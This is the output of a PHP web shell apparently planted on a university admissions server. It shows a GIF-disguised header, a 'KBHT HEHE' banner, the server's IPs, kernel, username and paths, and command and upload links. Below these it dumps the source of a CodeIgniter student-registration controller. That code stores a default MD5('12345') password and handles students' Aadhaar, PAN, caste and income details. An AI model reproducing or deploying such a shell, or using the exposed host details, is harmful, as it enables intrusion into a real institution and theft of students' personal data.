GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.133.124.23
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../admission/system/../application/controllers/user/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../admission/system/../application/controllers/user/Student.php
<?php

/**
 * Controller Class For Handling All Request Related To Students
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') or exit('No direct script access allowed');

class Student extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model('user/StudentManagement');
        $this->load->model('admin/CourseManagement');
        $this->load->model('admin/SessionManagement');
        $this->load->model('admin/LocationManagement');
        $this->load->model('admin/RelationManagement');
        $this->load->model('admin/ExamManagement');
        $this->load->model('admin/DocumentManagement');
        $this->load->model('admin/IDProofManagement');
        $this->load->model('admin/BranchManagement');
    }

    public function validateCounsellingReferenceNumber() {
        $this->session->unset_userdata('cRefDetails');
        $viewData["branch"] = $this->BranchManagement->getAllBranches()->result();
        $this->load->view('user/validateCounsellingDetails', $viewData);
    }

    public function processReferenceNumber() {
        $this->form_validation->set_rules('counsellingReferenceNumber', 'Counselling Reference Number', 'trim|required', array('required' => 'Please Enter Counselling Reference Number.'));
        if ($this->form_validation->run() == FALSE) {
            $this->validateCounsellingReferenceNumber();
        } else {
            $counsellingReferenceNumber = $this->input->post("counsellingReferenceNumber");
            $csvFileDetails = "https://cas.jnclnmu.ac.in/assets/admin/uploads/bulkfiles/counsellinginfo/counsellingData.csv";
            $csvFileContent = $this->csvhandler->readCSV($csvFileDetails);
            $studentDetailsFromCounsellingNumber = array();
            if (sizeof($csvFileContent)) {
                for ($i = 1; $i < sizeof($csvFileContent); $i++) {
                    if ($csvFileContent[$i][1] == $counsellingReferenceNumber) {
                        $studentInfo = $this->StudentManagement->getStudentPersonalInfoByFormNumber($counsellingReferenceNumber, true)->result();
                        if (sizeof($studentInfo)) {
                            $this->session->set_flashdata('errorMessage', "Registration Process Is Already Complete For This Form Id/Reference Number (" . $counsellingReferenceNumber . ").");
                            redirect("user/Student/validateCounsellingReferenceNumber");
                        } else {
                            $studentInfo = $this->StudentManagement->getStudentPersonalInfoByFormNumber($counsellingReferenceNumber, false)->result();
                            if (sizeof($studentInfo)) {
                                $tspi_id = $studentInfo[0]->tspi_id;
                                $this->db->trans_start();
                                $this->StudentManagement->deleteStudentPersonalInfoEntry($tspi_id);
                                $this->StudentManagement->deleteStudentContactInfoEntry($tspi_id);
                                $this->StudentManagement->deleteStudentEntranceExamProfExpAndExtraCurricularInfoEntry($tspi_id);
                                $this->StudentManagement->deleteStudentHostelAndResidenceChoiceInfoEntry($tspi_id);
                                $this->StudentManagement->deleteStudentIDProofInfoEntry($tspi_id);
                                $this->StudentManagement->deleteStudentEducationalQualificationInfoEntry($tspi_id);
                                $this->StudentManagement->deleteStudentFamilyBackgroundInfoEntry($tspi_id);
                                $studentPhotographDocId = $this->DocumentManagement->getDocumentByFlag("SP")->result()[0]->doc_id;
                                $studentSignDocId = $this->DocumentManagement->getDocumentByFlag("SS")->result()[0]->doc_id;
                                $studentDocuments = $this->DocumentManagement->getAllDocumentsOfStudentBy($tspi_id)->result();
                                for ($j = 0; $j < sizeof($studentDocuments); $j++) {
                                    $thisDocument = $studentDocuments[$j];
                                    if ($thisDocument->tddi_doc_id == $studentPhotographDocId) {
                                        if ($thisDocument->tddi_doc_file_path != "picnotavail.jpg") {
                                            if (file_exists("./assets/admin/uploads/studentData/" . $thisDocument->tddi_doc_file_path)) {
                                                unlink("./assets/admin/uploads/studentData/" . $thisDocument->tddi_doc_file_path);
                                            }
                                        }
                                    } else if ($thisDocument->tddi_doc_id == $studentSignDocId) {
                                        if ($thisDocument->tddi_doc_file_path != "signnotavail.png") {
                                            if (file_exists("./assets/admin/uploads/studentData/" . $thisDocument->tddi_doc_file_path)) {
                                                unlink("./assets/admin/uploads/studentData/" . $thisDocument->tddi_doc_file_path);
                                            }
                                        }
                                    } else {
                                        if (file_exists("./assets/admin/uploads/studentData/" . $thisDocument->tddi_doc_file_path)) {
                                            unlink("./assets/admin/uploads/studentData/" . $thisDocument->tddi_doc_file_path);
                                        }
                                    }
                                }
                                $this->DocumentManagement->deleteStudentDocumentInfoEntry($tspi_id);
                                $this->db->trans_complete();
                            }
                        }
                        $counsellingClosureInfo = $this->CourseManagement->getCounsellingClosureInfoBy(trim(addslashes($csvFileContent[$i][4])))->result();
                        if (sizeof($counsellingClosureInfo)) {
                            if ($counsellingClosureInfo[0]->aar_status == "T") {
                                if ((date('Y-m-d', strtotime(date('Y-m-d'))) >= date("Y-m-d", strtotime($counsellingClosureInfo[0]->aar_start_date))) && ((date('Y-m-d', strtotime(date('Y-m-d')))) <= date("Y-m-d", strtotime($counsellingClosureInfo[0]->aar_end_date)))) {
                                    $studentDetailsFromCounsellingNumber = array(
                                        'StudentName' => $csvFileContent[$i][2],
                                        'FatherName' => $csvFileContent[$i][3],
                                        'Course' => $csvFileContent[$i][4],
                                        'DOB' => $csvFileContent[$i][5],
                                        'Gender' => $csvFileContent[$i][6],
                                        'Category' => $csvFileContent[$i][7],
                                        'PH' => $csvFileContent[$i][8],
                                        'Merit' => $csvFileContent[$i][9],
                                        'Domicile' => $csvFileContent[$i][10],
                                        'AllottedCategory' => $csvFileContent[$i][11],
                                        'referenceNumber' => $counsellingReferenceNumber
                                    );
                                    $this->session->set_userdata("cRefDetails", $studentDetailsFromCounsellingNumber);
                                    redirect('user/Student/registerStudent');
                                } else {
                                    $this->session->set_flashdata('errorMessage', "Admission Closed For The Course Requested By You.");
                                    redirect("user/Student/validateCounsellingReferenceNumber");
                                }
                            } else {
                                $this->session->set_flashdata('errorMessage', "Admission For The Course You Have Requested Is Temporarily Closed. Contact College For More Info.");
                                redirect("user/Student/validateCounsellingReferenceNumber");
                            }
                        } else {
                            $studentDetailsFromCounsellingNumber = array(
                                'StudentName' => $csvFileContent[$i][2],
                                'FatherName' => $csvFileContent[$i][3],
                                'Course' => $csvFileContent[$i][4],
                                'DOB' => $csvFileContent[$i][5],
                                'Gender' => $csvFileContent[$i][6],
                                'Category' => $csvFileContent[$i][7],
                                'PH' => $csvFileContent[$i][8],
                                'Merit' => $csvFileContent[$i][9],
                                'Domicile' => $csvFileContent[$i][10],
                                'AllottedCategory' => $csvFileContent[$i][11],
                                'referenceNumber' => $counsellingReferenceNumber
                            );
                            $this->session->set_userdata("cRefDetails", $studentDetailsFromCounsellingNumber);
                            redirect('user/Student/registerStudent');
                        }
                    }
                }
                $this->session->set_flashdata('errorMessage', "No Record Found Against Entered Reference Number.");
                $this->validateCounsellingReferenceNumber();
            } else {
                $this->session->set_flashdata('errorMessage', "No Student Records Found.");
                $this->validateCounsellingReferenceNumber();
            }
        }
    }

    public function registerStudent() {
        if ($this->session->userdata('cRefDetails')) {
            $viewData['cRefDetails'] = $this->session->userdata('cRefDetails');
            $viewData['courses'] = $this->CourseManagement->getCoursesBySessionAndFormFee('T', 'F')->result();
            $viewData['states'] = $this->LocationManagement->getAllNonDeletedActiveStates()->result();
            $viewData['relations'] = $this->RelationManagement->getAllNonDeletedActiveRelations()->result();
            $viewData["branch"] = $this->BranchManagement->getAllBranches()->result();
            $viewData['categories'] = json_decode(file_get_contents('https://cas.jnclnmu.ac.in/assets/admin/json/categories.json'), true);
            $viewData['religions'] = json_decode(file_get_contents('https://cas.jnclnmu.ac.in/assets/admin/json/religions.json'), true);
            $this->load->view('user/registerStudent', $viewData);
        } else {
            redirect('user/Student/validateCounsellingReferenceNumber');
        }
    }

    public function saveNewStudent() {
        $this->form_validation->set_rules('stuCourse', 'Course', 'trim|required', array('required' => 'Please Select Course.'));
        $this->form_validation->set_rules('stuName', 'Student Name', 'trim|required', array('required' => 'Student Name Is Required.'));
        $this->form_validation->set_rules('stuMailingAddrLineOne', 'Mailing Address Line 1', 'trim|required', array('required' => 'Please Enter Mailing Address Line 1.'));
        $this->form_validation->set_rules('stuMailingAddrState', 'Mailing State', 'trim|required', array('required' => 'Please Select Mailing State.'));
        $this->form_validation->set_rules('stuMailingAddrCity', 'Mailing City', 'trim|required', array('required' => 'Please Select Mailing City.'));
        $this->form_validation->set_rules('stuMailingAddrZipCode', 'Mailing Zipcode', 'trim|required|numeric|min_length[6]|max_length[6]', array('required' => 'Please Enter Mailing Zipcode.'));
        $this->form_validation->set_rules('stuMobile', 'Student Mobile Number', 'trim|required|numeric|min_length[10]|max_length[10]', array('required' => 'Student Mobile Is Required.'));
        $this->form_validation->set_rules('stuEmail', 'Student Email', 'trim|required|valid_email', array('required' => 'Please Enter Email Of Student.', 'valid_email' => 'Enter Valid Student Email'));
        $this->form_validation->set_rules('stuPermaAddrLineOne', 'Permanent Address Line 1', 'trim|required', array('required' => 'Please Enter Permanent Address Line 1.'));
        $this->form_validation->set_rules('stuPermaAddrState', 'Permanent State', 'trim|required', array('required' => 'Please Select Permanent State.'));
        $this->form_validation->set_rules('stuPermaAddrCity', 'Permanent City', 'trim|required', array('required' => 'Please Select Permanent City.'));
        $this->form_validation->set_rules('stuPermaAddrZipCode', 'Permanent Zipcode', 'trim|required|numeric|min_length[6]|max_length[6]', array('required' => 'Please Enter Permanent Zipcode.'));
        $this->form_validation->set_rules('stuGen', 'Student Gender', 'trim|required', array('required' => 'Please Select Gender Of Student.'));
        $this->form_validation->set_rules('stuDOB', 'Student D.O.B', 'trim|required', array('required' => 'Please Select D.O.B. Of Student.'));
        $this->form_validation->set_rules('stuCategory', 'Student Category', 'trim|required', array('required' => 'Please Select Student Category.'));
        $this->form_validation->set_rules('stuReligion', 'Student Religion', 'trim|required', array('required' => 'Please Select Student Religion.'));
        //student Qualification validation and array formation logic
        $studentEducationQualificatioInfo = array();
        $studentEduQualiExamIds = $this->input->post('stuEduQualiExamId');
        $studentEduQualiBoardUniv = $this->input->post('stuEduQualiBoardUniv');
        $studentEduQualiStream = $this->input->post('stuEduQualiStream');
        $studentEduQualiYearOfExam = $this->input->post('stuEduQualiYearOfExam');
        $studentEduQualiMaxMarks = $this->input->post('stuEduQualiMaxMarks');
        $studentEduQualiMarksObtnd = $this->input->post('stuEduQualiMarksObt');
        $studentEduQualiPrcntObtnd = $this->input->post('stuEduQualiPercntCGPA');
        $studentEduQualiDiv = $this->input->post('stuEduQualiDiv');
        $totalEduQualisInfo = sizeof($studentEduQualiExamIds);
        $isNonNumericOrBlank = 0;
        for ($i = 0; $i < $totalEduQualisInfo; $i++) {
            if ((trim($studentEduQualiBoardUniv[$i]) == "") || (trim($studentEduQualiStream[$i]) == "") || (trim($studentEduQualiYearOfExam[$i]) == "") || (trim($studentEduQualiDiv[$i]) == "") || (trim($studentEduQualiPrcntObtnd[$i]) == "") || (trim($studentEduQualiMarksObtnd[$i]) == "")) {
                $isNonNumericOrBlank++;
            } else {
                $thisEduQualiInfo = array(
                    'tesi_exam' => $studentEduQualiExamIds[$i],
                    'tesi_board' => $studentEduQualiBoardUniv[$i],
                    'tesi_university' => $studentEduQualiBoardUniv[$i],
                    'tesi_stream' => $studentEduQualiStream[$i],
                    'tesi_passing_year' => $studentEduQualiYearOfExam[$i],
                    'tesi_percnt' => $studentEduQualiPrcntObtnd[$i],
                    'tesi_cgpa' => $studentEduQualiMarksObtnd[$i],
                    'tesi_division' => $studentEduQualiDiv[$i],
                    'tesi_added_on' => date("Y-m-d H:i:s"),
                    'tesi_updated_on' => date("Y-m-d H:i:s"),
                    'tesi_added_by' => "0",
                    'tesi_updated_by' => "0",
                    'tspi_id' => '',
                    'tesi_max_marks_cgpa' => $studentEduQualiMaxMarks[$i]
                );
                array_push($studentEducationQualificatioInfo, $thisEduQualiInfo);
            }
        }
        $studentFamilyBackgroundInfo = array();
        $studentFamilyBGName = $this->input->post('stuFamBGName');
        $studentFamilyBGDesig = $this->input->post('stuFamBGDesignation');
        $studentFamilyBGOrg = $this->input->post('stuFamBGOrganization');
        $studentFamilyBGRel = $this->input->post('stuFamBGRelation');
        $isFamilyBackgroundBlank = 0;
        for ($i = 0; $i < 3; $i++) {
            $thisFamilyBGInfo = array(
                'tfbi_relation' => trim($studentFamilyBGRel[$i]),
                'tfbi_name' => strtoupper(addslashes(trim($studentFamilyBGName[$i]))),
                'tfbi_organization' => strtoupper(addslashes(trim($studentFamilyBGOrg[$i]))),
                'tfbi_designation' => strtoupper(addslashes(trim($studentFamilyBGDesig[$i]))),
                'tfbi_user_type_flag' => 'S',
                'tfbi_mapping_id' => '',
                'tfbi_added_on' => date("Y-m-d H:i:s"),
                'tfbi_updated_on' => date("Y-m-d H:i:s"),
                'tfbi_added_by' => "0",
                'tfbi_updated_by' => "0"
            );
            array_push($studentFamilyBackgroundInfo, $thisFamilyBGInfo);
        }
        $fatherRelId = $this->RelationManagement->getRelationInfoByName("FATHER")->result()[0];
        $studentFatherFamBGInfo = array(
            'tfbi_relation' => $fatherRelId->rel_id,
            'tfbi_name' => strtoupper(addslashes(trim($this->input->post('stuFatherName')))),
            'tfbi_organization' => "NA",
            'tfbi_designation' => "NA",
            'tfbi_user_type_flag' => 'S',
            'tfbi_mapping_id' => '',
            'tfbi_added_on' => date("Y-m-d H:i:s"),
            'tfbi_updated_on' => date("Y-m-d H:i:s"),
            'tfbi_added_by' => "0",
            'tfbi_updated_by' => "0"
        );
        $motherRelId = $this->RelationManagement->getRelationInfoByName("MOTHER")->result()[0];
        $studentMotherFamBGInfo = array(
            'tfbi_relation' => $motherRelId->rel_id,
            'tfbi_name' => strtoupper(addslashes(trim($this->input->post('stuMotherName')))),
            'tfbi_organization' => "NA",
            'tfbi_designation' => "NA",
            'tfbi_user_type_flag' => 'S',
            'tfbi_mapping_id' => '',
            'tfbi_added_on' => date("Y-m-d H:i:s"),
            'tfbi_updated_on' => date("Y-m-d H:i:s"),
            'tfbi_added_by' => "0",
            'tfbi_updated_by' => "0"
        );
        array_push($studentFamilyBackgroundInfo, $studentFatherFamBGInfo);
        array_push($studentFamilyBackgroundInfo, $studentMotherFamBGInfo);
        if ($this->form_validation->run() == FALSE) {
            $this->registerStudent();
        } else if ($isNonNumericOrBlank) {
            $this->session->set_flashdata('errorMessage', "Any Of The Educational Qualification Is Incorrect. Please Enter All Required Fields & Valid Number/Decimal Number In Marks, Percentage Fields.");
            $this->registerStudent();
        } else if ($isFamilyBackgroundBlank) {
            $this->session->set_flashdata('errorMessage', "Any Of The Family Background Deatils Is Not Filled. Please Enter All Required Fields.");
            $this->registerStudent();
        } else if (empty($_FILES['stuPhotograph']['name'])) {
            $this->session->set_flashdata('errorMessage', "Select An Image As Photograph.");
            $this->registerStudent();
        } else if (empty($_FILES['stuSignature']['name'])) {
            $this->session->set_flashdata('errorMessage', "Select An Image As Signature.");
            $this->registerStudent();
        } else {
            $studentDocumentInfo = array();
            $session = $this->SessionManagement->getCurrentSessionDetails()->result()[0];
            $ucsMappingDetails = $this->CourseManagement->getAllUCSMappingBySessionAndCourse($session->session_id, $this->input->post('stuCourse'))->result()[0];
            $photograph = "";
            $signature = "";
            /* Signature Upload */
            $studentSignImg['upload_path'] = './assets/admin/uploads/studentData/';
            $studentSignImg['allowed_types'] = 'jpeg|jpg|png';
            $studentSignImg['max_size'] = '500';
            $studentSignImg['file_ext_tolower'] = TRUE;
            $studentSignImg['encrypt_name'] = TRUE;
            $this->load->library('upload', $studentSignImg);
            if (!$this->upload->do_upload('stuSignature')) {
                $this->session->set_flashdata('errorMessage', $this->upload->display_errors());
                redirect("user/Student/registerStudent");
            } else {
                $studentSignDocId = $this->DocumentManagement->getDocumentByFlag("SS")->result()[0]->doc_id;
                $signature = $this->upload->data()['file_name'];
                $studentSignInfo = array(
                    'tddi_doc_id' => $studentSignDocId,
                    'tddi_doc_file_path' => $signature,
                    'tddi_code' => $studentSignDocId,
                    'tddi_user_type_flag' => 'S',
                    'tddi_mapping_id' => '',
                    'tddi_semester' => 'NA',
                    'ucs_map_id' => $ucsMappingDetails->ucs_map_id,
                    'tddi_added_on' => date("Y-m-d H:i:s"),
                    'tddi_updated_on' => date("Y-m-d H:i:s"),
                    'tddi_added_by' => "0",
                    'tddi_updated_by' => "0"
                );
                array_push($studentDocumentInfo, $studentSignInfo);
            }
            /* Signature Upload */
            /* Photo Upload */
            $studentImg['upload_path'] = './assets/admin/uploads/studentData/';
            $studentImg['allowed_types'] = 'jpeg|jpg|png';
            $studentImg['max_size'] = '500';
            $studentImg['file_ext_tolower'] = TRUE;
            $studentImg['encrypt_name'] = TRUE;
            $this->load->library('upload', $studentImg);
            if (!$this->upload->do_upload('stuPhotograph')) {
                $this->session->set_flashdata('errorMessage', $this->upload->display_errors());
                redirect("user/Student/registerStudent");
            } else {
                $studentPhotographDocId = $this->DocumentManagement->getDocumentByFlag("SP")->result()[0]->doc_id;
                $photograph = $this->upload->data()['file_name'];
                $studentPhotoInfo = array(
                    'tddi_doc_id' => $studentPhotographDocId,
                    'tddi_doc_file_path' => $photograph,
                    'tddi_code' => $studentPhotographDocId,
                    'tddi_user_type_flag' => 'S',
                    'tddi_mapping_id' => '',
                    'tddi_semester' => 'NA',
                    'ucs_map_id' => $ucsMappingDetails->ucs_map_id,
                    'tddi_added_on' => date("Y-m-d H:i:s"),
                    'tddi_updated_on' => date("Y-m-d H:i:s"),
                    'tddi_added_by' => "0",
                    'tddi_updated_by' => "0"
                );
                array_push($studentDocumentInfo, $studentPhotoInfo);
            }
            /* Photo Upload */
            $studentPersonalInfo = array(
                'tspi_name' => strtoupper(addslashes(trim($this->input->post('stuName')))),
                'ucs_map_id' => $ucsMappingDetails->ucs_map_id,
                'tspi_mobile' => trim($this->input->post('stuMobile')),
                'tspi_email' => trim($this->input->post('stuEmail')),
                'tspi_gender' => trim($this->input->post('stuGen')),
                'tspi_category' => trim($this->input->post('stuCategory')),
                'tspi_religion' => trim($this->input->post('stuReligion')),
                'tspi_dob' => ($this->input->post('stuDOB') == "") ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('stuDOB')))),
                'tspi_added_by' => "0",
                'tspi_added_on' => date("Y-m-d H:i:s"),
                'tspi_updated_by' => "0",
                'tspi_updated_on' => date("Y-m-d H:i:s"),
                'tspi_password' => MD5('12345'),
                'tspi_rollNumber' => (trim($this->input->post('stuRollNo') == '')) ? addslashes(trim($this->input->post('stuFormNo'))) : addslashes(trim($this->input->post('stuRollNo'))),
                'tspi_is_diff_abled' => trim($this->input->post('stuDiffAbled')),
                'tspi_parent_annual_income' => trim($this->input->post('stuParentIncome')),
                'tspi_remarks' => addslashes(trim($this->input->post('stuRemarks'))),
                'tspi_reference_no' => addslashes(trim($this->input->post('referenceNumber'))),
                'tspi_domicile' => addslashes(trim($this->input->post('stuDomicile'))),
                'tspi_allotted_category' => addslashes(trim($this->input->post('stuAllotCategory')))
            );
            $studentContactInfo = array(
                'tsci_perma_state' => trim($this->input->post('stuPermaAddrState')),
                'tsci_perma_city' => trim($this->input->post('stuPermaAddrCity')),
                'tsci_perma_zipcode' => trim($this->input->post('stuPermaAddrZipCode')),
                'tsci_resid_state' => trim($this->input->post('stuMailingAddrState')),
                'tsci_resid_city' => trim($this->input->post('stuMailingAddrCity')),
                'tsci_resid_zipcode' => trim($this->input->post('stuMailingAddrZipCode')),
                'tsci_parent_landline' => trim($this->input->post('stuParentLandline')),
                'tsci_parent_mobile' => trim($this->input->post('stuParentMobile')),
                'tsci_added_on' => date("Y-m-d H:i:s"),
                'tsci_added_by' => "0",
                'tsci_updated_on' => date("Y-m-d H:i:s"),
                'tsci_updated_by' => "0",
                'tspi_id' => '',
                'tsci_perma_address_line_one' => addslashes(trim($this->input->post('stuPermaAddrLineOne'))),
                'tsci_perma_address_line_two' => addslashes(trim($this->input->post('stuPermaAddrLineTwo'))),
                'tsci_perma_address_line_three' => addslashes(trim($this->input->post('stuPermaAddrLineThree'))),
                'tsci_resid_address_line_one' => addslashes(trim($this->input->post('stuMailingAddrLineOne'))),
                'tsci_resid_address_line_two' => addslashes(trim($this->input->post('stuMailingAddrLineTwo'))),
                'tsci_resid_address_line_three' => addslashes(trim($this->input->post('stuMailingAddrLineThree')))
            );
            $studentEntranceProfAndExtraCurricularInfo = array(
                'tsevi_is_prof_exp' => trim($this->input->post('stuProfExp')),
                'tsevi_no_of_years' => trim($this->input->post('stuProfExpInYears')),
                'tsevi_organization' => addslashes(trim($this->input->post('stuProfOrgName'))),
                'tsevi_job_desc' => addslashes(trim($this->input->post('stuProfJobDesc'))),
                'tsevi_extra_activities' => addslashes(trim($this->input->post('stuExtraCurricularAct'))),
                'tsevi_how_know_sms' => "Any Other",
                'tsevi_entrance_through' => trim($this->input->post('stuEntranceExam')),
                'tsevi_form_no' => trim($this->input->post('stuEntranceExamRegNo')),
                'tsevi_composite_score' => trim($this->input->post('stuEntranceExamComScore')),
                'tsevi_percnt_obtained' => trim($this->input->post('stuEntranceExamPercentileObt')),
                'tsevi_rank' => trim($this->input->post('stuEntranceExamRank')),
                'tsevi_added_on' => date("Y-m-d H:i:s"),
                'tsevi_updated_on' => date("Y-m-d H:i:s"),
                'tsevi_added_by' => "0",
                'tsevi_updated_by' => "0",
                'tspi_id' => '',
                'tsevi_percntage' => trim($this->input->post('stuEntranceExamPercentage'))
            );
            $studentHostelAndResidenceInfo = array(
                'tshri_is_hostel_opted' => "F",
                'tshri_resid_choice' => NULL,
                'tshri_comm_state' => '0',
                'tshri_comm_city' => '0',
                'tshri_loc_guard_state' => '0',
                'tshri_loc_guard_city' => '0',
                'tshri_added_on' => date("Y-m-d H:i:s"),
                'tshri_updated_on' => date("Y-m-d H:i:s"),
                'tshri_added_by' => "0",
                'tshri_updated_by' => "0",
                'tspi_id' => ''
            );
            $aadharIdInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(2, "S")->result()[0];
            $studentAadharInfo = array(
                'tipi_number' => (trim($this->input->post('stuAadharNo')) == "") ? "" : trim($this->input->post('stuAadharNo')),
                'rel_id' => 0,
                'tipsm_id' => $aadharIdInfo->tipsm_id,
                'tipi_added_on' => date("Y-m-d H:i:s"),
                'tipi_updated_on' => date("Y-m-d H:i:s"),
                'tipi_added_by' => "0",
                'tipi_updated_by' => "0",
                'tipi_for' => ''
            );
            $PANInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(1, "S")->result()[0];
            $studentPANInfo = array(
                'tipi_number' => (trim($this->input->post('stuPAN')) == "") ? "" : trim($this->input->post('stuPAN')),
                'rel_id' => 0,
                'tipsm_id' => $PANInfo->tipsm_id,
                'tipi_added_on' => date("Y-m-d H:i:s"),
                'tipi_updated_on' => date("Y-m-d H:i:s"),
                'tipi_added_by' => "0",
                'tipi_updated_by' => "0",
                'tipi_for' => ''
            );
            $casteCertificateInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(5, "S")->result()[0];
            $studentCasteCertificateInfo = array(
                'tipi_number' => (trim($this->input->post('stuCSTCNumber')) == "") ? "" : trim($this->input->post('stuCSTCNumber')),
                'rel_id' => 0,
                'tipsm_id' => $casteCertificateInfo->tipsm_id,
                'tipi_added_on' => date("Y-m-d H:i:s"),
                'tipi_updated_on' => date("Y-m-d H:i:s"),
                'tipi_added_by' => "0",
                'tipi_updated_by' => "0",
                'tipi_for' => ''
            );
            $incomeCertificateInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(6, "S")->result()[0];
            $studentIncomeCertificateInfo = array(
                'tipi_number' => (trim($this->input->post('stuAICNumber')) == "") ? "" : trim($this->input->post('stuAICNumber')),
                'rel_id' => 0,
                'tipsm_id' => $incomeCertificateInfo->tipsm_id,
                'tipi_added_on' => date("Y-m-d H:i:s"),
                'tipi_updated_on' => date("Y-m-d H:i:s"),
                'tipi_added_by' => "0",
                'tipi_updated_by' => "0",
                'tipi_for' => ''
            );
            $studentIdProofInfo = array($studentAadharInfo, $studentPANInfo, $studentCasteCertificateInfo, $studentIncomeCertificateInfo);
            $this->db->trans_start();
            $tspi_id = $this->StudentManagement->createNewStudentPersonalInfoEntry($studentPersonalInfo);
            if ($tspi_id) {
                $studentContactInfo['tspi_id'] = $tspi_id;
                $studentHostelAndResidenceInfo['tspi_id'] = $tspi_id;
                $studentPANInfo['tipi_for'] = $tspi_id;
                $studentAadharInfo['tipi_for'] = $tspi_id;
                $studentEntranceProfAndExtraCurricularInfo['tspi_id'] = $tspi_id;
                for ($i = 0; $i < sizeof($studentIdProofInfo); $i++) {
                    $studentIdProofInfo[$i]['tipi_for'] = $tspi_id;
                }
                for ($i = 0; $i < sizeof($studentEducationQualificatioInfo); $i++) {
                    $studentEducationQualificatioInfo[$i]['tspi_id'] = $tspi_id;
                }
                for ($i = 0; $i < sizeof($studentFamilyBackgroundInfo); $i++) {
                    $studentFamilyBackgroundInfo[$i]['tfbi_mapping_id'] = $tspi_id;
                }
                for ($i = 0; $i < sizeof($studentDocumentInfo); $i++) {
                    $studentDocumentInfo[$i]['tddi_mapping_id'] = $tspi_id;
                }
                $studentPersonalInfo = array(
                    'tspi_id' => $tspi_id,
                    'tspi_form_no' => "UND-" . $tspi_id,
                    'tspi_rollNumber' => "UND-" . $tspi_id,
                    'tspi_enrollment_no' => "UND-" . $tspi_id
                );
                $this->StudentManagement->updateStudentPersonalInfo($studentPersonalInfo);
                $this->StudentManagement->createNewStudentContactInfoEntry($studentContactInfo);
                $this->StudentManagement->createNewStudentEntranceExamProfExpAndExtraCurricularInfoEntry($studentEntranceProfAndExtraCurricularInfo);
                $this->StudentManagement->createNewStudentEducationalQualificationInfoMulti($studentEducationQualificatioInfo);
                $this->StudentManagement->createNewStudentFamilyBackgroundInfoMulti($studentFamilyBackgroundInfo);
                $this->IDProofManagement->createNewIDProofInfoMulti($studentIdProofInfo);
                $this->StudentManagement->createNewStudentHostelAndResidenceChoiceInfoEntry($studentHostelAndResidenceInfo);
                $this->DocumentManagement->createNewDocumentInfoMulti($studentDocumentInfo);
                $this->db->trans_complete();
                /* Sending Photo & Signature To ERP Folder Structure */
                $data = array(
                    'photograph' => base_url("assets/admin/uploads/studentData/" . $photograph),
                    'signature' => base_url("assets/admin/uploads/studentData/" . $signature),
                );
                $payload = json_encode($data);
                /* URL Modification Needed In Below URL As Per Production Environment */
                $ch = curl_init('https://cas.jnclnmu.ac.in/webServices/FileTransfer/copyFileFromURL');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLINFO_HEADER_OUT, true);
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
                curl_setopt($ch, CURLOPT_HTTPHEADER, array(
                    'Content-Type: application/json',
                    'Content-Length: ' . strlen($payload))
                );
                $result = json_decode(curl_exec($ch));
                curl_close($ch);
                /* Sending Photo & Signature To ERP Folder Structure Ends */
                $this->session->set_flashdata('successMessage', 'Student Registered Successfully.');
                redirect("user/Student/admissionFormDeclaration/" . $tspi_id);
            } else {
                $this->session->set_flashdata('successMessage', 'An Error Occured While Student Registration. Try Again.');
                redirect("user/Student/registerStudent");
            }
        }
    }

    public function admissionFormDeclaration($tspi_id) {
        $viewData["courseTypes"] = $this->CourseManagement->getDistinctCourseTypeFromCourseTable()->result();
        $viewData['courses'] = $this->CourseManagement->getCoursesBySessionAndFormFee('T', 'F')->result();
        $viewData['states'] = $this->LocationManagement->getAllNonDeletedActiveStates()->result();
        $viewData['relations'] = $this->RelationManagement->getAllNonDeletedActiveRelations()->result();
        $viewData['stuPersonalInfoWithPicAndSign'] = $this->StudentManagement->getStudentPersonalInfoAndPhotoSignBy($tspi_id, '')->result()[0];
        $aadharIdInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(2, "S")->result()[0]->tipsm_id;
        $aadharInfo = $this->IDProofManagement->getIdProofInfoBy($tspi_id, $aadharIdInfo)->result()[0];
        $viewData['aadharInfo'] = $aadharInfo;
        $PANInfoID = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(1, "S")->result()[0]->tipsm_id;
        $PANInfo = $this->IDProofManagement->getIdProofInfoBy($tspi_id, $PANInfoID)->result()[0];
        $viewData['PANInfo'] = $PANInfo;
        $casteCertificateInfoID = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(5, "S")->result()[0]->tipsm_id;
        $casteCertificateInfo = $this->IDProofManagement->getIdProofInfoBy($tspi_id, $casteCertificateInfoID)->result()[0];
        $viewData['casteCertificateInfo'] = $casteCertificateInfo;
        $incomeCertificateInfoID = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(6, "S")->result()[0]->tipsm_id;
        $incomeCertificateInfo = $this->IDProofManagement->getIdProofInfoBy($tspi_id, $incomeCertificateInfoID)->result()[0];
        $viewData['incomeCertificateInfo'] = $incomeCertificateInfo;
        $studentPhotographDocId = $this->DocumentManagement->getDocumentByFlag("SP")->result()[0]->doc_id;
        $studentPhotographDoc = $this->DocumentManagement->getUploadedDocumentOfStudentBy($tspi_id, $studentPhotographDocId)->result()[0];
        $viewData['studentPhotographDoc'] = $studentPhotographDoc;
        $studentSignDocId = $this->DocumentManagement->getDocumentByFlag("SS")->result()[0]->doc_id;
        $studentSignDoc = $this->DocumentManagement->getUploadedDocumentOfStudentBy($tspi_id, $studentSignDocId)->result()[0];
        $viewData['studentSignDoc'] = $studentSignDoc;
        $viewData['hostelInfo'] = $this->StudentManagement->getStudentHostelInfoBy($tspi_id)->result()[0];
